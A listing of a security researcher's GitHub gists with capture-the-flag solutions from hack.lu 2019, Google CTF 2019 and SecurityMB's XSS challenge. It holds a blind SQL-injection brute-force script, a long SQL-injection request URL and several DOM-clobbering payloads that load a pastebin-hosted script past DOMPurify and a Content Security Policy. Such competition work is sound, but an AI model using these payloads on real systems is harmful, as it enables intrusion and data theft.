terjanq’s gists

terjanq / car_repair.js

Created October 24, 2019 12:15

Solutions from hacklu 2019 CTF

	/*
	* This is a solution to "Car repair shop" challenge from hack.lu ctf 2019
	* Solves: 9
	* 10/23/2019 © by terjanq
	*/

	/* The idea of the solution is: */

	function WoW(){ this.Oo = 'O.o'; }
	var x = new WoW();

terjanq / exploit.js

Last active January 12, 2025 18:10

This is a solution of Oracle v2 and Oracle v1 from https://nn9ed.ka0labs.org/challenges#x-oracle%20v2 (I realized I could use <meta> and redirect admin to my website and run the challenge in iframes after I already solved it with bruteforcing the admin :p)

	const fetch = require('node-fetch');

	var flag = 'nn9ed{'
	var alph = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!().{}'
	var escape = d => d.replace(/\\/g, '\\\\').replace(/\./g, '\\.').replace(/$/g, '\\(').replace(/$/g, '\\)').replace(/\{/g, '\\{').replace(/\}/g, '\\}');
	var make_payload = (i, o) => `Season 6%' AND 1=IF(ORD(SUBSTR(flag,${i},1))=${o},1,EXP(44444)) #` // throws an exception if the character of flag is incorrect
	const base_url = 'http://x-oracle-v2.nn9ed.ka0labs.org/'

	// Generates definitions for fonts
	function generateFonts() {

terjanq / solution-225.html

Last active September 25, 2019 10:25

XSS Challenge DOM Clobbering

	<!-- 225 char solution (remove new lines) -->
	<a href=//pastebin.com/how-can-i-escape-this%2f..%2fraw/LiE18yqs? id=testPath name=protocol>
	<form id=CONFIG>
	<img id=testPath name=test>

terjanq / solution-214.html

Created September 23, 2019 20:38

XSS Challenge DOM Clobbering

	<!-- Solution 214 - with a strange behaviour in browsers (remove new lines) -->
	<a href=//pastebin.com/how-can-i-escape-this%2f..%2fraw/LiE18yqs? id=testPath name=protocol>
	<form id=CONFIG>
	<img id=test>
	<a>

terjanq / solution-212.html

Last active September 24, 2019 13:36

XSS Challenge DOM Clobbering

	<!-- Solution 212! (remove new lines) -->
	<a id=CONFIG name=test>
	<p>
	<a href=//pastebin.com/how-can-i-escape-this%2f..%2fraw/LiE18yqs? id=testPath name=protocol>
	<p>
	T

terjanq / straight-forward-solution.html

Last active September 23, 2019 15:45

XSS Challenge DOM Clobbering

	<a href="https://pastebin.com" id="testPath"></a>
	<a id="CONFIG" name=test></a>
	<a id="CONFIG" name="version" href="cid:/../../../../how-can-i-escape-this%2f..%2fraw/LiE18yqs?"></a>

terjanq / main.js

Created September 23, 2019 15:08

XSS Challenge DOM Clobbering

	window.CONFIG = window.CONFIG \|\| {
	version: "v20190816",
	test: false,
	appName: "XSS Challenge",
	}

	function loadModule(moduleName) {
	const scriptSrc = new URL(document.currentScript.src);
	let url = '';

terjanq / injection_point.js

Created September 23, 2019 14:58

	const sanitized = DOMPurify.sanitize(input.value);

	const html = `
	<meta http-equiv=Content-Security-Policy content="script-src https://pastebin.com/how-can-i-escape-this/ 'nonce-xyz' https://securitymb.github.io/xss/1/modules/v20190816/">
	<h1>Homepage!</h1>
	<p>Welcome to my homepage! Here are some info about me:</p>
	${sanitized}
	<script nonce=xyz src="./main.js"><\/script>
	`;

terjanq / full_challenge.html

Created September 23, 2019 14:55

XSS Challenge DOM Clobbering


	<!doctype html><meta charset=utf-8>
	<title>SecurityMB's Security Challenge</title>
	<style>
	* {
	font-family: monospace;
	}
	textarea {
	width:100%;
	height:90px;

terjanq / request.txt

Created June 30, 2019 16:42

gLotto solution #gctf2019 Google CTF

https://glotto.web.ctfcompetition.com/?order0=date`=(SELECT+1337+FROM+(SELECT+@ll:=CAST(if(@f1<0,@f1%2b43,@f1)%2b36*if(@f2<0,@f2%2b43,@f2)%2b1296*if(@f3<0,@f3%2b43,@f3)%2b46656*if(@f4<0,@f4%2b43,@f4)%2b1679616*if(@f5<0,@f5%2b43,@f5)%2b60466176*if(@f6<0,@f6%2b43,@f6)%2b2176782336*if(@f7<0,@f7%2b43,@f7)%2b78364164096*if(@f8<0,@f8%2b43,@f8)%2b2821109907456*if(@f9<0,@f9%2b43,@f9)%2b101559956668416*if(@f10<0,@f10%2b43,@f10)AS+UNSIGNED)%2bCAST(3656158440062976*if(@f11<0,@f11%2b43,@f11)AS+UNSIGNED)%2bCAST(131621703842267136*if(@f12<0,@f12%2b43,@f12)AS+UNSIGNED)FROM+(SELECT+@f1:=ORD(SUBSTR(@lotto,1,1))-65)z1,(SELECT+@f2:=ORD(SUBSTR(@lotto,2,1))-65)z2,(SELECT+@f3:=ORD(SUBSTR(@lotto,3,1))-65)z3,(SELECT+@f4:=ORD(SUBSTR(@lotto,4,1))-65)z4,(SELECT+@f5:=ORD(SUBSTR(@lotto,5,1))-65)z5,(SELECT+@f6:=ORD(SUBSTR(@lotto,6,1))-65)z6,(SELECT+@f7:=ORD(SUBSTR(@lotto,7,1))-65)z7,(SELECT+@f8:=ORD(SUBSTR(@lotto,8,1))-65)z8,(SELECT+@f9:=ORD(SUBSTR(@lotto,9,1))-65)z9,(SELECT+@f10:=ORD(SUBSTR(@lotto,10,1))-65)z10,(SELECT+@f11:=ORD(SUBSTR(@